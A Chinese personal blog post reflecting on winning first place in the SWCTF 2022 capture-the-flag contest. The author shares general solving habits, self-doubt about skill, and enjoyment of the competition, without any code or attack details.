第二次 SWCTF 2022 拿了个第一 虽然也菜死了 https://blog.cyan.cafe/posts/swctf-2022-wp/

我很喜欢那种沉浸在一件事情的感觉,除了吃饭睡觉都是干这个,熬到困到不行才睡;写项目的时候就会这样

不过说实话真的很好玩,那种做出题的兴奋震惊,在其它地方体验不到~

这几天,每天都觉得第二天写不出题来,结果还是写出来了(
本来我再努努力的话,pwn 和 reverse 其实还可以再写几道题的,不过最后一天去肝 nanoNumble 去了(

写 wp 时候的任务栏: image

Chrome标签页: image

但是其实有时候会感觉 CTF 没那么好玩,比如 PHP 反序列化绕过,用的是个 2016 的 CVE,现实中早就不会出现了,就感觉很无聊,都是那些套路,但是真正难的 CTF 做不来

其实拿到一道题会尝试很多东西,并没有上面解题思路那么通透,比如 Web 题会先来个 dirsearch 和 sqlmap,Misc 题会跑 binwalk 和 zsteg,遇到 png 会 tweakpng 改长度,遇到压缩包还会尝试爆破数字,遇到看不懂的东西丢到 cyberchef magic..

然后感觉写 wp 意义比较小…因为大家都写过,自己做出来的题又比较简单…

有时候会觉得自己菜,是脚本小子,什么都不会,你看我是写 C# 的,不是标准 ctfer 那样用 python 解决问题,就不是专业 ctfer,但是放眼学校我又是排名前列,我强吗,说不定别人像我这样花全天时间努力 Google 写题也能达到这个排名…
想起我上次参加 ctf 连 wp 这个词的意思都不知道是什么,去问(
还有就是感觉不是第一的 wp 都没人看吧~
我的朋友一个两个都比我强,强的那个也说 TA 天天焦虑自己菜(

平时喜欢写点小程序,自动抢课,自动签到什么的
还是找不到自己的方向吧~ 怎么样才能交到女朋友呢~

wp 差不多写了 6 个小时吧

结语

这次真的很开心~


再再再来张色图

image-


This post is licensed under CC BY 4.0 by the author.
Contents

Comments powered by Disqus.

SWCTF 2022 WP

-

Trending Tags